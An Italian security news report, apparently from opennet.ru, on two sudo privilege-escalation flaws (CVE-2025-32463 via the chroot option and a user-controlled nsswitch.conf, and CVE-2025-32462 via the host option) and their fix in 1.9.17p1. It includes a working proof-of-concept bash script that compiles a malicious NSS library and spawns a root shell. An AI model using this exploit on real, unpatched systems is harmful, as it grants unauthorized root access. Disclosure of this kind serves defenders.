Nel pacchetto sudo, utilizzato per eseguire comandi a nome di altri utenti, è stata trovata una vulnerabilità (CVE-2025-32463) che consente a qualsiasi utente non privilegiato di eseguire codice con diritti di root, anche se l'utente non è menzionato nella configurazione sudoers. Sono interessate le distribuzioni che utilizzano il file di configurazione /etc/nsswitch.conf; ad esempio, è stata dimostrata la possibilità di sfruttare la vulnerabilità in Ubuntu 24.04 e Fedora 41.
La vulnerabilità si manifesta nella configurazione predefinita ed è stata confermata nelle versioni di sudo dalla 1.9.14 alla 1.9.17 (potenzialmente colpisce tutte le versioni a partire dalla 1.8.33). Il problema è stato risolto nell'aggiornamento sudo 1.9.17p1. È possibile verificare lo stato della nuova versione del pacchetto o la preparazione di una patch nelle distribuzioni alle seguenti pagine (se la pagina non è accessibile, significa che gli sviluppatori della distribuzione non hanno ancora iniziato a prendere in considerazione il problema): Debian, Ubuntu, Fedora, SUSE/openSUSE, RHEL, Gentoo e Arch (1, 2).
Il problema è causato dal fatto che, quando si utilizza l'opzione «-R» («—chroot») per eseguire comandi in un ambiente chroot con una directory radice selezionata dall'utente, il file /etc/nsswitch.conf veniva caricato nel contesto della nuova directory radice anziché in quello della directory di sistema. Poiché l'utente può utilizzare la propria directory come directory radice per chroot, può inserire in essa un file di configurazione nsswitch.conf. Controllando il file /etc/nsswitch.conf caricato dal sottosistema NSS (Name Service Switch), l'utente può aggiungere impostazioni che portano all'invocazione di ulteriori gestori. Tali gestori vengono caricati da NSS sotto forma di librerie condivise, che possono anch'esse essere collocate nella directory controllata dall'utente. Sostituendo la propria libreria, l'utente può ottenere l'esecuzione di codice con diritti di root, poiché l'elaborazione di NSS avviene prima del ripristino dei privilegi.
Esempio di exploit: #!/bin/bash STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX) cd ${STAGE?} || exit 1 cat > woot1337.c<<EOF #include #include __attribute__((constructor)) void woot(void) { setreuid(0,0); setregid(0,0); chdir("/"); execl("/bin/bash", "/bin/bash", NULL); } EOF mkdir -p woot/etc libnss_ echo "passwd: /woot1337" > woot/etc/nsswitch.conf cp /etc/group woot/etc gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c echo "woot!" sudo -R woot woot rm -rf ${STAGE?}
Nella versione sudo 1.9.17p1 è stata corretta anche un'altra vulnerabilità (CVE-2025-32462), che consente di eseguire comandi con privilegi di root, ma che si manifesta solo in configurazioni di sudoers in cui il parametro "host" è impostato su un valore diverso da ALL o dal nome dell'host attuale. La vulnerabilità è causata da un errore che fa sì che l'opzione "-h" ("—host") agisca non solo in combinazione con l'opzione "-l" ("—list") per mostrare i privilegi legati all'host, ma anche durante l'esecuzione dei comandi. In questo modo, l'utente poteva specificare durante la chiamata a sudo un qualsiasi host e bypassare le restrizioni delle regole sudoers legate al nome dell'host.
Per portare a termine l'attacco, l'utente deve essere menzionato in sudoers, ad esempio, se nelle impostazioni è indicato "testuser testhost = ALL", l'utente "testuser" poteva specificare "sudo -h testhost" e avviare comandi con privilegi di root su qualsiasi host, e non solo su testhost. Le configurazioni con impostazioni di tipo "testuser ALL = ALL" o senza regole esplicite per un utente specifico non sono vulnerabili.
Fonte: opennet.ru
